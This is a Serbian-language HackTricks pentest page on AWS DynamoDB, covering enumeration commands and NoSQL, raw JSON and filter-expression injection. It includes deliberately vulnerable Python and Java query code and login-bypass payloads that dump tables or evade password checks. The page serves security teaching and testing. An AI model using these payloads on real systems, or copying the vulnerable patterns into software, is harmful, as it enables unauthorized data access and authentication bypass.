AWS - DynamoDB Enum

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

DynamoDB

Osnovne informacije

Amazon DynamoDB se predstavlja kao potpuno upravljana, serverless, key-value NoSQL baza podataka, prilagođena za pokretanje aplikacija visokih performansi bez obzira na njihovu veličinu. Usluga obezbeđuje robusne karakteristike uključujući inherentne mere bezbednosti, neprekidne rezervne kopije, automatsku replikaciju širom više regiona, integrisano keširanje u memoriji i praktične alate za izvoz podataka.

U kontekstu DynamoDB, umesto uspostavljanja tradicionalne baze podataka, kreiraju se tabele. Svaka tabela zahteva specifikaciju ključne particije kao integralnog dela primarnog ključa tabele. Ovaj ključ particije, suštinski hash vrednost, igra ključnu ulogu u preuzimanju stavki i distribuciji podataka širom različitih hostova. Ova distribucija je ključna za održavanje i skalabilnosti i dostupnosti baze podataka. Pored toga, postoji opcija za uključivanje ključnog sortiranja kako bi se dodatno poboljšala organizacija podataka.

Enkripcija

Podrazumevano, DynamoDB koristi KMS ključ koji **pripada Amazon DynamoDB,** čak ni AWS upravljani ključ koji barem pripada vašem nalogu.

Rezervne kopije i izvoz u S3

Moguće je zakazati generisanje rezervnih kopija tabela ili ih kreirati na zahtev. Štaviše, takođe je moguće omogućiti oporavak u tački vremena (PITR) za tabelu. Oporavak u tački vremena obezbeđuje kontinuirane rezervne kopije vaših DynamoDB podataka za 35 dana kako bi vam pomogao da se zaštitite od slučajnih operacija pisanja ili brisanja.

Takođe je moguće izvesti podatke tabele u S3, ali tabela mora imati omogućen PITR.

GUI

Postoji GUI za lokalne Dynamo usluge kao što su DynamoDB Local, dynalite, localstack, itd, koji bi mogli biti korisni: https://github.com/aaronshaf/dynamodb-admin

Enumeracija

bash
# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field

#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename

# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>

# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>

# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>

# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints

Neautentifikovani pristup

AWS - DynamoDB Unauthenticated Access

Privesc

AWS - DynamoDB Privesc

Post Eksploatacija

AWS - DynamoDB Post Exploitation

Perzistencija

AWS - DynamoDB Persistence

DynamoDB Injekcija

SQL Injekcija

Postoje načini za pristupanje DynamoDB podacima koristeći SQL sintaksu, stoga su tipične SQL injekcije takođe moguće.

SQL Injection - HackTricks

NoSQL Injekcija

U DynamoDB različite uslove je moguće koristiti za preuzimanje podataka, kao u uobičajenoj NoSQL injekciji, ako je moguće povezati više uslova za preuzimanje podataka, mogli biste dobiti skrivene podatke (ili izvući celu tabelu).
Ovde možete pronaći uslove koje podržava DynamoDB: https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html

Napomena da se različiti uslovi podržavaju ako se podaci pristupaju putem query ili putem scan.

note

U stvari, Query akcije moraju da specificiraju uslov "EQ" (jednako) u primarnom ključu da bi radile, čineći ih mnogo manje podložnim NoSQL injekcijama (i takođe čineći operaciju veoma ograničenom).

Ako možete promeniti poređenje koje se vrši ili dodati nova, mogli biste preuzeti više podataka.

bash
# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space

NoSQL injection - HackTricks

Raw Json injection

caution

Ova ranjivost se zasniva na dynamodb Scan Filter koji je sada ukinut!

DynamoDB prihvata Json objekte za pretragu podataka unutar DB-a. Ako otkrijete da možete pisati u json objekt koji se šalje za pretragu, mogli biste napraviti dump DB-a, svih sadržaja.

Na primer, injektovanje u zahtev kao:

bash
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'

napadač bi mogao da ubaci nešto poput:

1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0

ispravite "EQ" uslov tražeći ID 1000, a zatim tražeći sve podatke sa ID stringom većim od 0, što je sve.

Još jedan ranjiv primer koristeći prijavu mogao bi biti:

python
scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])

dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))

Ovo bi bilo ranjivo na:

username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none

:property Injection

Neki SDK-ovi omogućavaju korišćenje stringa koji označava filtriranje koje treba izvršiti kao:

java
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)

Morate znati da prilikom pretrage u DynamoDB za zamenu vrednosti atributa u filter izrazima dok skenirate stavke, tokeni treba da počnu sa : karakterom. Takvi tokeni će biti zamenjeni stvarnom vrednosti atributa u vreme izvršavanja.

Stoga, prijava poput prethodne može biti zaobiđena sa nečim poput:

bash
:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks